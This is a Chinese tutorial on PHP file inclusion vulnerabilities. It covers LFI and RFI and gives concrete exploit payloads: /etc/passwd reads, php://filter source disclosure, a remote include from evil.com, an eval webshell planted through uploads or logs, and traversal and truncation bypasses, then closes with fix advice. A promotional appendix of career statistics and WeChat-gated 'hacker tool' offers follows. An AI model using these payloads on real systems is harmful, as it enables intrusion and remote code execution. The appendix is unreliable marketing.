文件包含漏洞小结

介绍

文件包含漏洞属于代码注入漏洞，为了减少重复代码的编写，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码；简单来说就是一个文件里面包含另外一个或多个文件。

但我们除了包含常规的代码文件外，包含的任意后缀文件都会被当作代码执行，因此，如果有允许用户控制包含文件路径的点，那么则很有可能包含非预期文件，从而执行非预期的代码导致getshell。

几乎所有的脚本语言中都会提供文件包含的功能，但文件包含漏洞在PHP Web Application中居多，在JSP、ASP中十分少甚至没有，问题在于语言设计的弊端。因此后续均以PHP为主。

文件包含漏洞分类

PHP中的文件包含分为本地文件包含和远程文件包含。

LFI

本地文件包含 Local File Include (LFI)

所包含文件内容符合PHP语法规范，任何扩展名都可以被PHP解析。

所包含文件内容不符合PHP语法规范，会暴露其源代码（相当于文件读取）。

RFI

远程文件包含 Remote File Include (RFI)

如果要使用远程包含功能，首先需要确定PHP是否已经开启远程包含功能选项（php默认关闭远程包含功能：allow_url_include=off），开启远程包含功能需要在php.ini配置文件中修改。

远程包含与本地包含没有区别，无非是支持远程加载，更容易getshell，无论是哪种扩展名，只要遵循PHP语法规范，PHP解析器就会对其解析。

PHP的文件包含函数

PHP中提供了四个文件包含的函数，分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含，但作用并不一样。

- include：找不到被包含的文件时只会产生警告，脚本将继续执行。
- include_once：和include()语句类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含。
- require：找不到被包含的文件时会产生致命错误，并停止脚本。
- require_once：和require()语句类似，唯一区别是如果该文件中的代码已经被包含，则不会再次包含。

漏洞示例代码

<?php
// index.php
$file = $_GET[ 'file' ];
include$file
?>

快速启动一个简单的解析php的web server

php -S 127.0.0.1:9999

测试：

http://127.0.0.1:9999/index.php?file=/etc/passwd

利用任意文件读取

如果内容不符合php语法，就会直接返回文件内容，也就等于读取任意文件，和任意文件读取/下载一样，就不细说了，敏感文件路径可以参考我的另一篇文章：任意文件下载/读取

使用PHP封装协议

PHP带有很多内置URL风格的封装协议

php://filter

正常情况下，包含php文件会直接执行其中的代码，但如果我们想获取到php文件的源码，如config.php，那么我们可以通过封装协议php://filter来读取

http://127.0.0.1:9999/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png

php://input

利用条件：需要开启allow_url_include=on，对allow_url_fopen不做要求

感觉利用起来都比较鸡肋，有需要可以参考：浅谈文件包含漏洞

RFI getshell

如果支持远程文件包含，那么直接http://127.0.0.1:9999/index.php?file=http://evil.com/shell.php即可getshell，因为出现的情况实在是太少了，就不多说了。

LFI+文件上传 getshell

这是本地文件包含漏洞想要getshell的最容易想到的方法之一。

网站存在LFI漏洞，同时存在上传功能，如上传头像、证明信息等，那么我们可以上传一个包含恶意代码的任意后缀文件，如.png

其中.png的内容包含

<?php @eval($_GET['shell']);?>

利用如下：

http://127.0.0.1:9999/index.php?file=shell.png&shell=phpinfo();

[!tip]

可能上传的文件中干扰因素过多，导致利用的展示界面很乱，那么我们可以通过file_put_contents()等函数单独再写一个webshell到其他文件中。

LFI+日志文件 getshell

日志文件往往会包含我们的请求记录，如果我们知道日志的文件位置，那么我们就可以将恶意的php代码写入到日志中，然后再通过文件包含漏洞就可以执行相关的代码。

举例：

URL访问

http://127.0.0.1:9999/index.php?file=shell.png&test=<?php @eval($_GET['shell']);?>

payload会被记录到日志文件中，此时日志文件如下

我们只需要包含这个日志文件，那么就可以getshell

日志默认路径:

可能会有所出入，一切以实际情况为准

名	路径
tomcat	/usr/local/tomcat/logs/localhost_access_log.2020-09-21.txt
apache+linux	/var/log/apache2/access.log /var/log/httpd/access.log /etc/httpd/logs/access.log
nginx	/var/log/nginx/access.log /usr/local/nginx/logs/access.log

LFI+/proc/self/environgetshell

在linux中，如果php以cgi方式运行，那么/proc/self/environ中会包含请求头中的UA信息，也就可以getshell

GET lfi.php?file=../../../../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>

可参考：shell via LFI - proc/self/environ method

LFI+phpinfo getshell

除了需要存在一个LFI漏洞外，还需要存在一个phpinfo()页面

原理：向phpinfo()页面POST上传一个文件，PHP就会将文件保存成一个临时文件，路径通常为：/tmp/php[6个随机字符],这个临时文件，在请求结束后就会被删除。有点类似于条件竞争的操作。

利用工具：GitHub - diegoalbuquerque/LFI-phpinfo-RCE: LFI + phpinfo() = Remote Code Execution by Race Condition!

利用时需要修改工具中的参数和目标参数适配

LFI+session getshell

很鸡肋很鸡肋，要求你能控制session才行，一般我们可以先看下session中的内容哪些部分是可控的

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置：

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

如果可以控制session的内容，那么相当于可以控制文件/var/lib/php/sessions的内容，结合前面的操作就可以直接getshell了

绕过指定前缀

漏洞代码：

<?php
$file = $_GET['file'];
include'/var/www/html/'.$file;
?>

绕过方法：

通过../回溯符跳转到其他目录，如../../../proc/self/environ

还是通过回溯符../，主要是对内容进行编码

URL编码

2次URL编码

容器/服务器支持的编码，..%c0%af== ../，..%c1%9c == ..\

指定后缀

漏洞代码：

<?php
$file = $_GET['file'];
include$file.'/test/test.php';
?>

绕过方法：

支持RFI的情况下，可以用?和#来绕过，?后面表示参数，#后面表示锚点，都不会影响到实际的URL

利用伪协议zip://和phar://，以zip为例，先创建一个压缩包，压缩目录为test/test/test.php，然后利用为zip://xxx.zip#test即可

php < 5.2.8的情况下，可以使用长度截断，只需要不断的重复./即可，linux下4096字节时会达到最大值，在window下是256字节，在达到最大值后，后面的部分将会被省略。如shell.php/./././././省略/./././；注意不能超过容器支持的最大长度，不然会提示GET请求太长。

php < 5.3.4且magic_quotes_gpc=off的情况下，存在00截断，和上传中的00截断类似，让后端误以为这是结束符

修复建议

过滤.（点）/（反斜杠）\（反斜杠）等特殊字符

尽量关闭allow_url_include配置

PHP 中使用 open_basedir 配置限制访问在指定的区域

对需要包含的文件设置文件白名单

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

• 2023届全国高校毕业生预计达到1158万人，就业形势严峻；
• 国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

 “没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

 2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

 行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

 

 （都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。 

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

 最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取